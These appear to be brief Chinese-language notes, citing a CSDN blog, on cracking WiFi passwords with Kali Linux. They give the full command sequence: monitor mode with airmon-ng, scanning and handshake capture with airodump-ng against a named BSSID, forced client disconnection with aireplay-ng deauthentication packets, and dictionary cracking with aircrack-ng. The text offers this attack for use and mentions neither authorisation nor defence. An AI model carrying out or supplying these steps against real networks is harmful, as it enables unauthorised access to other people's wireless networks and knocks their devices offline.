1、KALI破解WIFI密码：https://blog.csdn.net/qq_41381461/article/details/90083838
iwconfig查看无线网卡
airmon-ng check kill杀死所有影响的进程
airmon-ng start wlan0开启监听wlan0网卡名
iwconfig发现wlan0后有mon，开启监听成功
airodump-ng wlan0mon扫描网络
bssid是ap（access point）的mac地址，在这里ap为路由器 pwr代表信号水平，信号只越高说明距离越近，但是注意， -1值说明无法监听 ch表示工作的信道号 enc表示算法加密体系 cipher表示检测到的加密算法 auth表示认证协议 essid即ssid号,wifi的名称 station表示客户端的mac地址（ctrl-c停止扫描）
airodump-ng -c 11 --ivs -w test --bssid 74:C3:30:12:DF:D2 wlan0mon
参数：-c 选取频道号 --ivs -w test 保存ivs格式的包，名字为test --bssid 要破解ap的ssid
注意：出现红框内容说明抓取握手包成功，否则需要强制用户断开连接，当用户重新连接时抓取
aireplay-ng -0 10 -a 74:C3:30:12:DF:D2 -c 90:F0:52:70:F7:13 wlan0mon
参数：-0指定发送反认证包的个数 -a指定无线路由器BSSID -c指定强制断开的设备。
抓包完成后Ctrl+C结束，airmon-ng stop wlan0mon停止监听
aircrack-ng -w 字典路径 包路径（这个看字典和运气）